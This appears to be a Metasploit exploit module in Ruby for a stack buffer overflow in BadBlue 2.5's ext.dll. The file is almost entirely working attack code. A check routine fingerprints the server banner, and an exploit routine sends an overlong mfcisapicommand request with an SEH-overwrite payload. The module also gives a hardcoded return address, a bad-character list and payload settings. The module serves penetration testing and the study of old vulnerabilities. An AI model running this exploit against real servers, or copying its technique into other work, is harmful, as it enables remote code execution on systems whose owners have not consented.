78 lines
1.6 KiB
Ruby
78 lines
1.6 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Http::Badblue_Ext_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
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'Description' => %q{
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This is a stack overflow exploit for BadBlue version 2.5.
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},
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'Author' => 'acaro <acaro [at] jervus.it>',
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'License' => BSD_LICENSE,
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'Version' => '$Revision: 3583 $',
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'References' =>
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[
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[ 'BID', '7387' ],
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[ 'OSVDB', '14238' ],
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[ 'MIL', '11' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
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],
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'DisclosureDate' => 'Apr 20 2003',
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'DefaultTarget' => 0))
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register_options( [ Opt::RPORT(80) ], self.class )
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end
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def check
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connect
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sock.put("GET / HTTP/1.0\r\n\r\n")
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resp = sock.get_once
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disconnect
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if (resp =~ /BadBlue\/2.5/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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uri = "GET /ext.dll?mfcisapicommand="
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sploit = rand_text_alphanumeric(500)
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seh = generate_seh_payload(target.ret)
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sploit[492, seh.length] = seh
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print_status("Trying target #{target.name}...")
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sock.put(uri + sploit + "\r\n\r\n")
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handler
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disconnect
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end
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end
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end
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